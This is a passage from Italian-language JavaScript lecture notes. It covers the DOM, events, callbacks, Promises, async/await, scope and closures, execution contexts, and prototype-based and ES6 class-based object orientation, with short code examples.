```

Script Esterno: collegando un file esterno `.js` tramite l'attributo `src` del tag `<script>`.

```
1 <script src="mioScript.js"></script>
```

5.12.2 Posizionamento

- **Nell’<head>**: lo script verrà caricato prima del contenuto della pagina. Può essere utilizzato con l’attributo **defer** per eseguire lo script dopo il caricamento della pagina.
- **Prima della chiusura </body>**: assicura che lo script venga eseguito dopo il caricamento del contenuto della pagina, evitando potenziali problemi di dipendenza dal DOM.

5.13 DOM (Document Object Model)

Il DOM è una rappresentazione strutturata, in forma di albero, di una pagina web. Consente ai programmi di manipolare la struttura, lo stile e il contenuto del sito web.

5.13.1 Elementi del DOM

- **Document**: rappresenta l’intera pagina.
- **Element**: qualsiasi tag HTML, come <p>, <div>, <a>, ecc.
- **Text**: il contenuto testuale di un elemento.
- **Attribute**: le proprietà degli elementi, come href, id, class, ecc.

Oggetto window: rappresenta la finestra del browser contenente un documento.

Oggetto navigator: fornisce informazioni sul browser e sul sistema operativo.

5.13.2 Manipolazione del DOM con JavaScript

Selezione:

```
1 document.getElementById('id');  
2 document.querySelector('.classe');  
3 document.querySelectorAll('tag');
```

Modifica:

```
1 let elemento = document.getElementById('mioId');  
2 elemento.textContent = 'Nuovo testo';  
3 elemento.style.color = 'red';
```

Creazione e Rimozione:

```
1 let nuovoElemento = document.createElement('p');  
2 nuovoElemento.textContent = 'Sono un nuovo paragrafo';  
3 document.body.appendChild(nuovoElemento);  
4 document.body.removeChild(nuovoElemento);
```

5.14 Eventi

Un approccio *event-driven* prevede che il flusso del programma sia determinato da eventi come input dell'utente, clic, movimenti del mouse o messaggi da altri programmi.

Gestione degli eventi: il processo di cattura e risposta a eventi che si verificano durante l'interazione dell'utente con una pagina web.

```
1 elemento.addEventListener('click', miaFunzione);
```

5.14.1 Tipi di eventi comuni

- **click:** quando un elemento viene cliccato.
- **mouseover:** quando il mouse passa sopra un elemento.
- **keydown:** quando un tasto viene premuto.
- **load:** quando un documento o risorsa è completamente caricato.

5.15 Event Propagation

- **Event Bubbling:** l'evento inizia dall'elemento che ha innescato l'evento e "bolle" verso l'alto nell'albero DOM.
- **Event Capturing:** opposto del bubbling, l'evento inizia dall'elemento più esterno e prosegue verso l'elemento che ha innescato l'evento.

Prevenire la propagazione:

```
1 miaFunzione(event) {  
2     event.stopPropagation();  
3 }
```

Informazioni sull'evento: l'oggetto evento passato come argomento alla funzione di callback contiene informazioni sull'evento, come la posizione del mouse, il tasto premuto, l'elemento target, ecc.

```
1 function mostraPosizione(event) {  
2     alert("X: " + event.clientX + ", Y: " + event.clientY);  
3 }
```

5.16 Funzioni di callback

Una funzione di **callback** è una funzione passata come argomento ad un'altra funzione, che verrà eseguita dopo che l'operazione esterna è stata completata. Sono spesso utilizzate in operazioni asincrone come richieste AJAX, interazioni con il DOM o temporizzazioni.

```
1 function saluta(nome, callback) {  
2     console.log('Ciao, ' + nome);  
3     callback();  
4 }  
5  
6 saluta('Mario', function() {  
7     console.log('Saluto completato!');  
8 });
```

Listing 5.1: Esempio 1 di callback

```
1 function attendiEsegui(tempo, callback) {  
2     setTimeout(callback, tempo);  
3 }  
4  
5 attendiEsegui(2000, function() {  
6     console.log('Eseguito dopo 2 secondi!');  
7 });
```

Listing 5.2: Esempio 2 con setTimeout

Callback Hell: annidare molte funzioni di callback può rendere il codice difficile da leggere e mantenere. Soluzioni come Promises e Async/Await sono state introdotte per affrontare questo problema.

5.17 Promise

Una **Promise** è un oggetto che rappresenta il completamento o il fallimento di un'operazione asincrona e il suo risultato eventualmente risultante.

5.17.1 Stati della Promise

- **Pending:** lo stato iniziale, né soddisfatto né rifiutato.
- **Fulfilled (Risolta):** l'operazione è stata completata con successo.
- **Rejected (Rifiutata):** l'operazione è fallita.

```
1 let miaPromise = new Promise((resolve, reject) => {  
2     if (/* condizione di successo */) {  
3         resolve('Successo!');  
4     } else {  
5         reject('Errore!');  
6     }  
7 });
```

5.17.2 Uso della Promise

```
1 // .then() per gestire il caso di successo
2 miaPromise.then((risultato) => {
3     console.log(risultato); // Stampa: "Successo!"
4 });
5
6 // .catch() per gestire il caso di errore
7 miaPromise.catch((errore) => {
8     console.log(errore); // Stampa: "Errore!"
9 });
10
11 // .finally() per eseguire codice indipendentemente dal risultato
12 miaPromise.finally(() => {
13     console.log('Promise completata!');
14 });
```

5.17.3 Catena di Promise

Le Promise possono essere concatenate per eseguire operazioni asincrone in sequenza:

```
1 funzioneAsincrona1()
2     .then(risultato1 => funzioneAsincrona2(risultato1))
3     .then(risultato2 => funzioneAsincrona3(risultato2))
4     .catch(errore => console.error(errore));
```

5.18 async/await

`async/await` è una sintassi speciale che rende più semplice lavorare con le Promise, rendendo il codice asincrono simile al codice sincrono in termini di leggibilità.

5.18.1 Funzioni Async

Dichiarando una funzione come `async`, essa restituisce automaticamente una Promise.

```
1 async function miaFunzione() {
2     return "Ciao!";
3 }
4 miaFunzione().then(alert); // Stampa: "Ciao!"
```

5.18.2 Await

L'operatore `await` può essere utilizzato solo all'interno di una funzione `async` e fa sì che l'esecuzione della funzione venga sospesa fino a quando la Promise non è risolta.

```
1 async function mostraRisultato() {
2     let risultato = await miaFunzione();
3     console.log(risultato); // Stampa: "Ciao!"
4 }
```

5.19 Gestione delle eccezioni

`try/catch` fornisce un meccanismo per catturare errori di runtime in modo che possano essere gestiti senza interrompere l'esecuzione del programma.

- **try**: racchiude il codice che potrebbe generare un errore.
- **catch**: blocco di codice che viene eseguito se si verifica un errore nel blocco `try`.

```
1 try {  
2   // Codice potenzialmente problematico  
3 } catch (errore) {  
4   // Gestione dell'errore  
5   console.error(errore.message);  
6 }
```

5.19.1 finally

Esegue il codice indipendentemente dal fatto che si verifichino errori o meno.

```
1 try {  
2   // Codice potenzialmente problematico  
3 } catch (errore) {  
4   // Gestione dell'errore  
5 } finally {  
6   // Codice eseguito sempre  
7 }
```

5.19.2 Lanciare eccezioni

È possibile generare un'eccezione personalizzata utilizzando la parola chiave `throw`.

```
1 if (condizioneErrata) {  
2   throw new Error("Questo e' un errore personalizzato!");  
3 }
```

6 - Scope e Closure in JavaScript

6.1 Scope

In JavaScript, lo **scope** definisce la visibilità delle variabili:

- Una variabile dichiarata all'interno di una funzione è **locale**.
- Una variabile dichiarata fuori da qualsiasi funzione è **globale**.

In una pagina web, le variabili globali appartengono all'oggetto `window`. È possibile utilizzarle da tutti gli script nella pagina.

Le variabili globali e locali con lo stesso nome sono variabili diverse.

Nota: le variabili create senza la parola chiave `var`, `let` o `const` sono sempre globali, anche se sono definite all'interno di una funzione.

6.2 Esempio: contatore

Consideriamo un contatore implementato come variabile globale:

```
1 var counter = 0;  
2 function add() {  
3     counter += 1;  
4 }  
5 add();
```

In questo caso, la variabile `counter` dovrebbe essere cambiata solo dalla funzione `add`, ma essendo globale ogni script della pagina può utilizzarla e cambiarla.

Se invece utilizziamo una variabile locale:

```
1 function add() {  
2     var counter = 0;  
3     counter += 1;  
4     return counter;  
5 }
```

Così non funziona: dà sempre 1!

6.3 Accesso allo scope

- Tutte le funzioni hanno accesso allo scope globale.
- Tutte le funzioni hanno accesso allo scope “al di sopra” di esse.
- JavaScript supporta le funzioni annidate, che hanno accesso allo scope della funzione più esterna.

Questo potrebbe risolvere il problema del contatore, **se**:

- potessimo invocare la funzione **plus** dall'esterno;
- potessimo eseguire **counter = 0** solo una volta.

6.4 Closure

```
1 var add = (function () {  
2     var counter = 0;  
3     return function () {  
4         counter += 1;  
5         return counter;  
6     };  
7 })();  
8  
9 add(); // 1  
10 add(); // 2  
11 add(); // 3
```

Listing 6.1: Esempio di closure

Alla variabile **add** è assegnato il valore di ritorno di una *self-invoking function*. La self-invoking function è eseguita solo una volta. Imposta il counter a 0 e ritorna una funzione.

In questo modo, **add** diventa una funzione. La cosa importante è che essa può accedere alla variabile **counter** nello scope genitore (quello della self-invoking function).

Questo meccanismo viene detto, in JavaScript, **closure**, e rende possibile che una funzione abbia delle variabili “private”. **counter** è protetto dallo scope della funzione anonima, e può essere utilizzato e cambiato solo dalla funzione **add**.

6.4.1 Definizioni di closure

W3C: una closure è una funzione che ha accesso allo scope genitore, dopo che la funzione genitore ha concluso la sua esecuzione (è chiusa).

MDN: una closure è un tipo speciale di oggetto che combina due cose: una funzione, e l'ambiente in cui la funzione è stata creata. L'ambiente consiste di tutte le variabili che erano nello scope al momento in cui la closure è stata creata. Queste funzioni “ricordano” l'ambiente in cui sono state create.

6.5 Emulazione di metodi privati con le closure

```
1 var counter = (function () {  
2     var privateCounter = 0;  
3     function changeBy(val) {  
4         privateCounter += val;  
5     }  
6     return {
```

```
7      increment: function () { changeBy(1); },  
8      decrement: function () { changeBy(-1); },  
9      value: function () { return privateCounter; }  
10  };  
11  })();
```

Listing 6.2: Metodi privati tramite closure

È stato creato un solo ambiente condiviso da tre funzioni: `counter.increment`, `counter.decrement` e `counter.value`. Questo ambiente è stato creato nel corpo di una funzione anonima, che è eseguita immediatamente.

L'ambiente ha due elementi privati: `privateCounter` e `changeBy`. Nessuno di questi può essere acceduto fuori dalla funzione anonima. Invece, possono essere acceduti dalle tre funzioni pubbliche che sono restituite dall'involucro della funzione anonima.

Queste sono closure che condividono lo stesso ambiente. Grazie allo scoping di JavaScript, esse hanno accesso a `privateCounter` e `changeBy`.

6.5.1 Factory function

Invece di usare una self-invoking function, possiamo assegnare la funzione anonima ad una variabile (quindi non viene eseguita in questa fase).

```
1  function makeCounter() {  
2      var privateCounter = 0;  
3      function changeBy(val) {  
4          privateCounter += val;  
5      }  
6      return {  
7          increment: function () { changeBy(1); },  
8          decrement: function () { changeBy(-1); },  
9          value: function () { return privateCounter; }  
10     };  
11 }  
12  
13 var counter1 = makeCounter();  
14 var counter2 = makeCounter();
```

In questo modo, possiamo creare diversi contatori. Ognuno di questi mantiene la propria indipendenza dagli altri. Ognuno ha un ambiente diverso, ogni volta che viene invocata la funzione `makeCounter()`: la variabile `privateCounter` contiene una differente istanza per ogni volta che `makeCounter()` viene invocata.

6.6 Ancora sullo scope

Nel contesto globale, dichiarare una variabile con `var` vuol dire sostanzialmente assegnare una nuova proprietà all'oggetto `window` (che è lo scope delle variabili globali):

```
1  var x = 9;  
2  // equivale a  
3  window.x = 9;
```

6.7 Scope e contesto

Lo **scope** riguarda l'accesso alle variabili di una funzione quando è invocata, ed è unico per ogni invocazione (contesto di esecuzione).

Il **contesto** è sempre il valore della parola chiave **this**, che è il riferimento all'oggetto che "possiede" il codice in esecuzione.

6.7.1 Il contesto

```
1 var obj = {  
2     foo: function() {  
3         return this;  
4     }  
5 };  
6 obj.foo() === obj; // true
```

Il contesto è determinato da come una funzione è invocata. Quando una funzione è invocata come un metodo di un oggetto, **this** è impostato all'oggetto sul quale il metodo è chiamato.

```
1 function foo() {  
2     alert(this);  
3 }  
4 new foo(); // foo  
5 foo();    // window
```

Lo stesso principio si applica quando viene invocata una funzione con l'operatore **new**, per creare un'istanza di un oggetto. In questo caso, il valore di **this** dentro lo scope della funzione sarà impostato alla nuova istanza creata.

Quando invece si chiama una funzione slegata dall'oggetto (*unbound*), allora **this** si imposta per default all'oggetto genitore, cioè **window**.

6.8 Contesto di esecuzione

Quando il codice viene eseguito in JavaScript, l'ambiente in cui viene eseguito è molto importante, e risulta essere uno dei seguenti:

- **Codice globale:** l'ambiente di default dove il codice è eseguito la prima volta.
- **Codice funzione:** ogni volta che il flusso dell'esecuzione entra nel corpo di una funzione.
- **Codice eval:** il codice da eseguire all'interno della funzione `eval()`.

Si ha un solo contesto di esecuzione globale, ma un numero indefinito di contesti legati alle funzioni. Ogni chiamata crea un nuovo contesto di esecuzione, che crea uno scope privato dove ogni cosa dichiarata all'interno rimane non direttamente accessibile dall'esterno.

6.8.1 Lo stack del contesto di esecuzione

Quando un browser carica per la prima volta lo script, entra nel contesto di esecuzione globale per default.

Se, nel contesto globale, viene chiamata una funzione, il flusso del programma prosegue all'interno della funzione che viene chiamata, creando un nuovo contesto di esecuzione e inserendo questo contesto di esecuzione al di sopra dello stack.

Se all'interno della funzione viene richiamata un'altra funzione succede lo stesso, e una volta che la funzione termina la sua esecuzione viene eliminata dallo stack.

```
1 (function foo(i) {  
2     if (i === 3) {  
3         return;  
4     } else {  
5         foo(++i);  
6     }  
7 }(0));
```

Listing 6.3: Esempio di stack ricorsivo

Il codice chiama se stesso 3 volte, incrementando il valore di `i` di 1. Ogni volta che la funzione `foo` è chiamata, un nuovo contesto di esecuzione viene creato. Quando il contesto ha terminato l'esecuzione, viene eliminato dallo stack e il controllo torna al contesto successivo fin quando non si raggiunge di nuovo il contesto globale.

6.9 Il contesto di esecuzione in dettaglio

Ogni volta che una funzione è invocata, viene creato un nuovo contesto di esecuzione. All'interno dell'interprete JavaScript, ogni chiamata ad un contesto di esecuzione ha due fasi:

1. **Creation Stage** (quando una funzione è chiamata, ma ancora non è stato eseguito alcun codice):
 - Viene creata la Scope Chain.
 - Vengono create le variabili, le funzioni e gli argomenti.
 - Viene determinato il valore di `this`.
2. **Activation / Code Execution Stage**: vengono assegnati i valori, i riferimenti alle funzioni e viene interpretato/eseguito il codice.

È quindi possibile rappresentare concettualmente il contesto di esecuzione di una funzione come un oggetto con tre proprietà:

```
1 executionContextObj = {  
2     'scopeChain': {  
3         // variableObject + all parent execution context's  
4         variableObject  
5     },  
6     'variableObject': {
```

```

6      // function arguments/parameters, inner variable and
      function declarations
7    },
8    'this': {}
9  }

```

6.9.1 Activation / Variable Object [AO/VO]

Questo `executionContextObj` è creato quando la funzione viene invocata, ma prima che questa venga effettivamente eseguita. Questa è considerata la prima fase (Creation Stage): qui l'interprete crea l'oggetto `executionContextObj` effettuando una scansione sulla funzione per gli argomenti passati e per le dichiarazioni di eventuali funzioni e variabili locali.

Il risultato di questa scansione è la proprietà `variableObject` dell'oggetto `executionContextObj`.

6.10 Scope chain

La proprietà `scopeChain` di ogni execution context è la collezione dei Variable Object [VO] più tutti i Variable Objects dei genitori nel momento dell'esecuzione.

$$\text{Scope} = \text{VO} + \text{All Parent VOs}$$

Esempio: `scopeChain = [ [VO] + [VO1] + [VO2] + [VO n+1] ];`

```

1 function one() {
2     two();
3     function two() {
4         three();
5         function three() {
6             alert('I am at function three');
7         }
8     }
9 }
10 one();
11 // three() Scope Chain = [ [three() VO] + [two() VO] + [one() VO] +
    [Global VO] ];

```

Listing 6.4: Esempio di scope chain

6.11 Lexical scoping

Un'importante caratteristica di JavaScript è che l'interprete usa il **lexical scoping**.

Nello specifico significa che tutte le funzioni interne sono staticamente (lessicalmente) legate al contesto di esecuzione genitore nel quale le funzioni sono fisicamente definite al livello di codice.

```

1 var myAlerts = [];
2 for (var i = 0; i < 5; i++) {
3     myAlerts.push(
4         function inner() {
5             alert(i);
6         }
7     );
8 }
9 myAlerts[0](); // 5
10 myAlerts[1](); // 5
11 myAlerts[2](); // 5
12 myAlerts[3](); // 5
13 myAlerts[4](); // 5

```

Listing 6.5: Esempio di lexical scoping (var)

```

1 function one() {
2     var a = 1;
3     two();
4     function two() {
5         var b = 2;
6         three();
7         function three() {
8             var c = 3;
9             alert(a + b + c); // 6
10        }
11    }
12 }
13 one();

```

Listing 6.6: Lexical scoping con funzioni annidate

6.12 Ancora chiusure

```

1 function foo() {
2     var a = 'private variable';
3     return function bar() {
4         alert(a);
5     }
6 }
7 var callAlert = foo();
8 callAlert(); // 'private variable'

```

Rappresentazione concettuale dei contesti:

```

1 // Global Context when evaluated
2 global.V0 = {
3     foo: pointer to foo(),
4     callAlert: returned value of global.V0.foo
5     scopeChain: [global.V0]
6 }
7
8 // Foo Context when evaluated
9 foo.V0 = {
10     bar: pointer to bar(),

```

```
11     a: 'private variable',
12     scopeChain: [foo.V0, global.V0]
13 }
14
15 // Bar Context when evaluated
16 bar.V0 = {
17     scopeChain: [bar.V0, foo.V0, global.V0]
18 }
```

6.13 Risoluzione di variabili e prototype chain

```
1 var bar = {};
2 function foo() {
3     bar.a = 'Set from foo()';
4     return function inner() {
5         alert(bar.a);
6     }
7 }
8 foo()(); // 'Set from foo()'
```

```
1 var bar = {};
2 function foo() {
3     Object.prototype.a = 'Set from prototype';
4     return function inner() {
5         alert(bar.a);
6     }
7 }
8 foo()(); // 'Set from prototype'
```

Nel secondo caso, `bar.a` non è definito direttamente su `bar`, quindi JavaScript risale la *prototype chain* fino a trovare la proprietà definita in `Object.prototype`.

7 - OOP in JavaScript e DOM

7.1 Introduzione alla OOP

La **programmazione orientata agli oggetti** è un paradigma di programmazione che usa l'astrazione (una classe può essere considerata un modello astratto istanziabile) per creare modelli basati sul mondo reale.

Caratteristiche principali:

- Modularità
- Polimorfismo
- Incapsulamento
- Ereditarietà

7.2 Terminologia

- **Namespace:** un contenitore che consente agli sviluppatori di includere tutte le funzionalità sotto un nome unico, specifico per l'applicazione.
- **Class:** definisce le caratteristiche dell'oggetto. Una classe è una definizione del modello, delle proprietà e dei metodi di un oggetto.
- **Object:** istanza di una classe.
- **Property:** una caratteristica di un oggetto, come un colore.
- **Method:** una capacità di un oggetto, come ad esempio "cammina". È una procedura o funzione associata a una classe.
- **Constructor:** un metodo invocato nel momento in cui l'oggetto viene istanziato. Di solito ha lo stesso nome della classe che lo contiene.
- **Inheritance:** una classe può ereditare caratteristiche da un'altra classe.
- **Encapsulation:** una modalità di raggruppamento di dati e metodi che ne fanno uso.
- **Abstraction:** l'insieme del complesso di eredità, metodi e proprietà di un oggetto deve rispecchiare adeguatamente un modello reale.
- **Polymorphism:** classi diverse potrebbero definire lo stesso metodo o proprietà ("poly" = molti, "morfismo" = forme).

7.3 Programmazione prototype-based

Un **namespace** è un contenitore che consente agli sviluppatori di includere tutte le funzionalità sotto un nome unico, specifico per l'applicazione. In JavaScript un namespace è solo un altro oggetto che contiene metodi, proprietà e oggetti.

Nota: in JavaScript non c'è alcuna differenza a livello di linguaggio tra oggetti regolari e namespace.

L'idea alla base della creazione di un namespace in JavaScript è semplice: creare un oggetto globale, e tutte le variabili, i metodi e le funzioni diventano proprietà di tale oggetto. L'uso dei namespace riduce anche il rischio di conflitti tra nomi in un'applicazione.

7.3.1 Esempio di namespace

```
1 // global namespace
2 var MYAPP = MYAPP || {};
3
4 // sub namespace
5 MYAPP.event = {};
6
7 // Create container called MYAPP.commonMethod
8 MYAPP.commonMethod = {
9     regexForName: "", // define regex for name validation
10    regexForPhone: "", // define regex for phone validation
11    validateName: function(name) {
12        // Do something with name
13        // "this.regexForName" to access
14    },
15    validatePhoneNo: function(phoneNo) {
16        // do something with phone number
17    }
18 };
19
20 // Object together with the method declarations
21 MYAPP.event = {
22     addListener: function(el, type, fn) {
23         // code stuff
24     },
25     removeListener: function(el, type, fn) {
26         // code stuff
27     },
28     getEvent: function(e) {
29         // code stuff
30     }
31 };
32
33 // Syntax for Using addListener method:
34 MYAPP.event.addListener("yourel", "type", callback);
```

7.4 Classi e prototipi

JavaScript è un linguaggio basato sui prototipi e non contiene alcuna dichiarazione di classe (ECMAScript 6 la introduce ma come elemento sintattico). JavaScript utilizza le funzioni come costruttori per emulare le classi.

Definire una classe è facile come definire una funzione:

```
1 var Person = function () {};
```

7.5 Oggetti

Per creare una nuova istanza di un oggetto `obj` utilizziamo l'istruzione `new obj` assegnando il risultato ad una variabile:

```
1 var person1 = new Person();  
2 var person2 = new Person();
```

7.5.1 Il costruttore

Il costruttore viene chiamato quando si istanzia un oggetto. In genere, il costruttore è un metodo della classe. In JavaScript la funzione funge da costruttore dell'oggetto, pertanto non è necessario definire esplicitamente un metodo costruttore. Ogni azione dichiarata nella classe viene eseguita al momento della creazione di un'istanza.

```
1 var Person = function () {  
2     console.log('instance created');  
3 };  
4  
5 var person1 = new Person();  
6 var person2 = new Person();
```

7.6 Proprietà

Le proprietà sono variabili contenute nella classe; ogni istanza dell'oggetto ha queste proprietà. Le proprietà sono impostate nel costruttore (funzione) della classe in modo che siano create su ogni istanza.

La parola chiave `this`, che si riferisce all'oggetto corrente, consente di lavorare con le proprietà all'interno della classe.

L'accesso (in lettura o scrittura) ad una proprietà al di fuori della classe è fatto con la sintassi: `NomeIstanza.Proprieta`.

All'interno della classe la sintassi `this.Proprieta` è utilizzata per ottenere o impostare il valore della proprietà.

```
1 var Person = function (firstName) {
```

```
2     this.firstName = firstName;
3     console.log('Person instantiated');
4 };
5
6 var person1 = new Person('Alice');
7 var person2 = new Person('Bob');
8
9 console.log('person1 is ' + person1.firstName); // "person1 is
10 console.log('person2 is ' + person2.firstName); // "person2 is Bob"
```

7.7 Metodi

I metodi sono funzioni (e definiti come funzioni), ma per il resto seguono la stessa logica delle proprietà. Chiamare un metodo è simile all'accesso a una proprietà, ma si aggiunge () alla fine del nome del metodo, eventualmente con argomenti. Per definire un metodo va assegnata una funzione a una proprietà della proprietà prototype della classe.

```
1 var Person = function (firstName) {
2     this.firstName = firstName;
3 };
4
5 Person.prototype.sayHello = function() {
6     console.log("Hello, I'm " + this.firstName);
7 };
8
9 var person1 = new Person("Alice");
10 var person2 = new Person("Bob");
11
12 person1.sayHello(); // "Hello, I'm Alice"
13 person2.sayHello(); // "Hello, I'm Bob"
```

7.7.1 Contesto dei metodi

In JavaScript i metodi sono oggetti funzione regolarmente associati a un oggetto come una proprietà, il che significa che è possibile richiamare i metodi “fuori dal contesto”.

```
1 var Person = function (firstName) {
2     this.firstName = firstName;
3 };
4
5 Person.prototype.sayHello = function() {
6     console.log("Hello, I'm " + this.firstName);
7 };
8
9 var person1 = new Person("Alice");
10 var person2 = new Person("Bob");
11
12 var helloFunction = person1.sayHello;
13
```

```

14 person1.sayHello(); // "Hello, I'm Alice"
15 person2.sayHello(); // "Hello, I'm Bob"
16 helloFunction();    // "Hello, I'm undefined"
17                    // (o TypeError in strict mode)
18
19 console.log(helloFunction === person1.sayHello); // true
20 console.log(helloFunction === Person.prototype.sayHello); // true
21
22 helloFunction.call(person1); // "Hello, I'm Alice"

```

Tutti i riferimenti alla funzione `sayHello` si riferiscono tutti alla stessa funzione.

Il valore di `this` nel corso di una chiamata alla funzione dipende da come noi lo chiamiamo:

- Quando chiamiamo il metodo in un'espressione come `person1.sayHello()`, `this` è riferito all'oggetto da cui abbiamo ottenuto la funzione (`person1`).
- Chiamare la funzione da una variabile — `helloFunction()` — imposta `this` come riferimento all'oggetto globale (`window`, sui browser).
- Si può impostare `this` esplicitamente utilizzando `Function#call`, `Function#apply` o `bind`.

7.8 Ereditarietà

L'ereditarietà è un modo per creare una classe come una versione specializzata di una o più classi. La classe specializzata viene comunemente chiamata figlio, e l'altra classe viene comunemente chiamata padre o genitore.

In JavaScript si esegue questa operazione assegnando un'istanza della classe padre alla classe figlio, e poi specializzandola. Nel browser moderni è anche possibile utilizzare `Object.create` per implementare l'ereditarietà.

```

1 // Define the Person constructor
2 var Person = function(firstName) {
3     this.firstName = firstName;
4 };
5
6 // Add methods to Person.prototype
7 Person.prototype.walk = function() {
8     console.log("I am walking!");
9 };
10 Person.prototype.sayHello = function() {
11     console.log("Hello, I'm " + this.firstName);
12 };
13
14 // Define the Student constructor
15 function Student(firstName, subject) {
16     // Call the parent constructor
17     Person.call(this, firstName);
18     // Initialize Student-specific properties
19     this.subject = subject;
20 }
21

```

```

22 Student.prototype = Object.create(Person.prototype);
23 Student.prototype.constructor = Student;
24
25 // Replace the "sayHello" method
26 Student.prototype.sayHello = function() {
27     console.log("Hello, I'm " + this.firstName
28         + ". I'm studying " + this.subject + ".");
29 };
30
31 // Add a "sayGoodBye" method
32 Student.prototype.sayGoodBye = function() {
33     console.log("Goodbye!");
34 };
35
36 // Example usage:
37 var student1 = new Student("Janet", "Applied Physics");
38 student1.sayHello(); // "Hello, I'm Janet. I'm studying Applied
    Physics."
39 student1.walk(); // "I am walking!"
40 student1.sayGoodBye(); // "Goodbye!"
41
42 // Check that instanceof works correctly
43 console.log(student1 instanceof Person); // true
44 console.log(student1 instanceof Student); // true

```

Listing 7.1: Esempio di ereditarietà

7.9 Incapsulamento

Nell'esempio precedente `Student` non ha bisogno di sapere come sia realizzato il metodo `walk()` della classe `Person`, ma può comunque utilizzarlo; la classe `Student` non ha bisogno di definire in modo esplicito questo metodo se non vogliamo cambiarlo.

Questo è chiamato **incapsulamento**, per cui ogni classe impacchetta dati e metodi in una singola unità.

Il nascondere informazioni (*information hiding*) è una caratteristica comune ad altri linguaggi, spesso in forma di metodi e proprietà private e protette.

7.10 Astrazione

L'astrazione è un meccanismo che permette di modellare la parte corrente del problema, sia con eredità (specializzazione) o la composizione.

JavaScript ottiene la specializzazione per eredità e composizione, permettendo che istanze di classe siano valori di attributi di altri oggetti. La classe `Function` di JavaScript eredita dalla classe `Object` (questo dimostra la specializzazione del modello) e la proprietà `Function.prototype` è un'istanza di `Object` (ciò dimostra la composizione).

```

1 var foo = function () {};
2 console.log('foo is a Function: ' + (foo instanceof Function));

```

```
3 // "foo is a Function: true"
4 console.log('foo.prototype is an Object: ' + (foo.prototype
    instanceof Object));
5 // "foo.prototype is an Object: true"
```

7.11 Ereditarietà di proprietà

Gli oggetti JavaScript sono “contenitori” dinamici di properties (*own properties*). Gli oggetti JavaScript hanno un link ad un oggetto *prototype*. Provando ad accedere ad una property di un oggetto, la property non solo sarà ricercata sull’oggetto ma anche sul prototipo, sul prototipo del prototipo e così via fino a trovare una property con il nome specificato o fino alla fine della catena stessa.

```
1 // Assumiamo di avere un oggetto o con le sue properties a and b:
2 // {a: 1, b: 2}
3 // o.[[Prototype]] ha le properties b and c:
4 // {b: 3, c: 4}
5 // Infine, o.[[Prototype]].[[Prototype]] e' null.
6
7 console.log(o.a); // 1
8 // C'e' una property 'a' su o? Si, e il suo valore e' 1.
9
10 console.log(o.b); // 2
11 // Il prototype ha anche una property 'b', ma non e' visitata
12 // (property shadowing).
13
14 console.log(o.c); // 4
15 // Non c'e' 'c' su o; viene cercata sul prototype.
16
17 console.log(o.d); // undefined
18 // Non c'e' 'd' ne' su o, ne' sul prototype,
19 // ne' oltre (null). Return undefined.
```

Listing 7.2: Prototype chain

7.12 Polimorfismo

Così come tutti i metodi e le proprietà sono definite all’interno della proprietà *prototype*, classi diverse possono definire metodi con lo stesso nome; i metodi sono nell’ambito della classe in cui sono definiti, a meno che le due classi siano in un rapporto padre-figlio (cioè una eredita dall’altra in una catena di ereditarietà).

7.13 Ereditarietà di metodi

JavaScript non ha “metodi” nella forma tipica dei linguaggi basati sulle classi. In JavaScript, qualunque funzione può essere aggiunta ad un oggetto come fosse property. Una funzione ereditata agisce come ogni altra property, incluse le *property shadowing* (una forma di sovrascrittura di metodi).

Quando viene eseguita una funzione ereditata, il valore del `this` punta all'oggetto ereditante, non all'oggetto prototype dove la funzione è una property proprietaria.

```
1 var o = {
2   a: 2,
3   m: function(b) {
4     return this.a + 1;
5   }
6 };
7
8 console.log(o.m()); // 3
9 // Chiamando o.m, 'this' si riferisce a o
10
11 var p = Object.create(o);
12 // p e' un oggetto che eredita da o
13 p.a = 12; // crea una propria property 'a' su p
14 console.log(p.m()); // 13
15 // quando p.m e' chiamata, 'this' si riferisce a p
16 // Così' quando p eredita la funzione m di o,
17 // 'this.a' significa p.a
```

7.14 Classi in JavaScript (ECMAScript 6)

7.14.1 Dichiarazione di classe

```
1 class Polygon {
2   constructor(height, width) {
3     this.height = height;
4     this.width = width;
5   }
6 }
```

Un'importante differenza tra la dichiarazione di una funzione e la dichiarazione di una classe è che le dichiarazioni di funzione sono *hoisted* mentre quelle delle classi no. Bisogna dichiarare la classe e poi si può usarla, altrimenti il codice solleva un'eccezione.

```
1 var p = new Polygon(); // ReferenceError
2 class Polygon {}
3
4 // VS
5
6 var p = new Polygon(); // p is a new Polygon
7 function Polygon() {
8   this.nome = 'Poligono';
9   console.log('New Polygon');
10 }
```

7.14.2 Class Expression

```
1 // unnamed
2 var Polygon = class {
```

```
3     constructor(height, width) {
4         this.height = height;
5         this.width = width;
6     }
7 };
8
9 // named
10 var Polygon = class Polygon {
11     constructor(height, width) {
12         this.height = height;
13         this.width = width;
14     }
15 };
```

Il nome dato è locale al corpo della classe. Anche le Class expressions soffrono degli stessi problemi di hoisting menzionati per le dichiarazioni di Classi. Viene usato lo `strict mode`.

7.14.3 Costruttore

Una classe può avere solo un costruttore, altrimenti `SyntaxError`. Un costruttore può usare la parola chiave `super` per richiamare il costruttore della classe padre.

```
1 class Polygon {
2     constructor(height, width) {
3         this.height = height;
4         this.width = width;
5     }
6
7     get area() {
8         return this.calcArea();
9     }
10
11     calcArea() {
12         return this.height * this.width;
13     }
14 }
```

Listing 7.3: Metodi prototipo

7.14.4 Metodi statici

La parola chiave `static` definisce un metodo statico. I metodi statici sono chiamati senza istanziare la loro classe e non possono essere chiamati su una classe istanziata. Vengono usati per creare funzioni di utilità.

```
1 class Point {
2     constructor(x, y) {
3         this.x = x;
4         this.y = y;
5     }
6
7     static distance(a, b) {
8         const dx = a.x - b.x;
```



```
9      const dy = a.y - b.y;
10     return Math.sqrt(dx * dx + dy * dy);
11   }
12 }
13
14 const p1 = new Point(5, 5);
15 const p2 = new Point(10, 10);
16 console.log(Point.distance(p1, p2));
```

7.14.5 This con metodi prototipo e statico

Quando un metodo statico o prototipo è chiamato senza un oggetto valutato **this**, allora il valore di **this** sarà **undefined** all'interno della funzione chiamata. Il comportamento sarà lo stesso perfino se scriviamo il codice in modalità non-strict, perché tutte le funzioni, metodi, costruttori, getter o setter sono eseguiti in modo strict.

```
1 class Animal {
2   speak() {
3     return this;
4   }
5   static eat() {
6     return this;
7   }
8 }
9
10 let obj = new Animal();
11 obj.speak(); // Animal {}
12 let speak = obj.speak;
13 speak();   // undefined
14
15 Animal.eat(); // class Animal
16 let eat = Animal.eat;
17 eat();       // undefined
```

7.14.6 Sottoclassi con extends

La keyword **extends** viene usata nelle class declarations o class expressions per creare una classe figlia di un'altra classe.

```
1 class Animal {
2   constructor(name) {
